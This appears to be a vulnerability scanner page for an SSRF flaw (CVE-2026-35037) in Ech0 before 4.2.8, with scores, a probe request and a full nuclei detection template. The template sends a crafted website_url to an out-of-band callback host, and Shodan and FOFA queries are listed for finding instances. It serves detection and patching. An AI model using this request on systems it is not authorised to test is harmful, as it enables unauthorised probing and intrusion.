Ech0 < 4.2.8 - Server-Side Request Forgery

highseverity

7.2CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

Ech0 before 4.2.8 exposes an unauthenticated SSRF vulnerability in GET /api/website/title. The website_url query parameter is fetched server-side without validating the target host or IP address.

How to confirm it

Send: GET /api/website/title?website_url=http://{{interactsh-url}}/
Positive when: status_code == 400 and contains(body, "data\":") and contains(interactsh_protocol, "http") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2026-35037 -u <target>

The full check

id: CVE-2026-35037

info:
  name: Ech0 < 4.2.8 - Server-Side Request Forgery
  author: fineman999
  severity: high
  description: |
    Ech0 before 4.2.8 exposes an unauthenticated SSRF vulnerability in GET /api/website/title. The website_url query parameter is fetched server-side without validating the target host or IP address.
  reference:
    - https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc
    - https://nvd.nist.gov/vuln/detail/CVE-2026-35037
  classification:
    cve-id: CVE-2026-35037
    epss-score: 0.00618
    epss-percentile: 0.49953
    cwe-id: CWE-918
    cvss-score: 7.2
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
  metadata:
    verified: true
    vendor: lin-snow
    product: ech0
    max-request: 1
    shodan-query: title:"Ech0"
    fofa-query: title:"Ech0"
  tags: cve,cve2026,ech0,ssrf,oast,oss

http:
  - raw:
      - |
        GET /api/website/title?website_url=http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "data\":")'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from